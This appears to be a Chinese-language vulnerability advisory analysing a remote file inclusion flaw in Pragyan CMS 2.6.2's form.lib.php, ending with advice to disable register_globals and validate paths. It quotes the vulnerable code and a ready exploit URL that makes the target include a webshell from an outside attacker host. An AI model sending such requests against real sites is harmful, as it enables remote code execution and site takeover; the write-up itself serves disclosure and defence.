Pragyan CMS 2.6.2 sourceFolder参数远程文件包含漏洞

Pragyan 2.6.2 远程文件包含漏洞详细分析

先说一个很直接的判断：如果你还在运行 Pragyan CMS 2.6.2 版本，并且服务器上启用了 register_globals = On，那么你的网站几乎等于向攻击者毫无防备地敞开了大门。近期公开的一个远程文件包含（RFI）漏洞，利用门槛极低，但后果极为严重——可实现远程代码执行。下面将逐层拆解漏洞细节。

漏洞位置与触发条件详解

漏洞根源位于 /cms/modules/form.lib.php 文件中。分析核心代码即可发现关键问题所在：

global $sourceFolder;
global $moduleFolder;
require_once("$sourceFolder/$moduleFolder/form/editform.php");
require_once("$sourceFolder/$moduleFolder/form/editformelement.php");
require_once("$sourceFolder/$moduleFolder/form/registrationformgenerate.php");
require_once("$sourceFolder/$moduleFolder/form/registrationformsubmit.php");
require_once("$sourceFolder/$moduleFolder/form/viewregistrants.php");

注意观察，这些 require_once 调用中直接使用了全局变量 $sourceFolder 和 $moduleFolder。如果 register_globals 处于开启状态，攻击者完全可以通过 URL 参数覆盖这两个变量。这样一来，远程文件包含攻击便顺理成章地发生了。

实际利用方法与步骤

利用过程极其简单，攻击者只需构造如下 HTTP 请求：

www.target.com/path/cms/modules/form.lib.php?sourceFolder=http://shell.own3r.by.ru/syn99.php?

注意末尾的问号，目的是让被包含的远程文件路径成为合法的字符串，避免受到本地路径的干扰。攻击者只需在自己控制的服务器上放置一个 webshell，然后发送这个链接，目标站点即刻被完全控制。

漏洞关键风险点

首先，该漏洞的触发依赖于 register_globals 开启——虽然如今多数 PHP 环境默认关闭此选项，但老版本 CMS 或某些托管方案仍可能保持开启状态。其次，漏洞代码中全局变量直接拼接路径，完全没有进行任何输入过滤或校验。最后，被包含的远程文件会被 PHP 直接解析执行，因此后果是完整的代码执行权限。

如果你手头有 Pragyan 2.6.2 的站点，请第一时间检查 php.ini 中 register_globals 的配置状态，最稳妥的做法是直接将其关闭。如果出于某些原因无法升级版本，至少应将 form.lib.php 中的全局变量引用改为安全的超全局变量方式（如 $_GET、$_POST 等），并加强路径验证。

综上所述，这个漏洞属于“条件简单、危害极大”的典型代表。保持警惕，及时修补，才能有效防范远程文件包含攻击。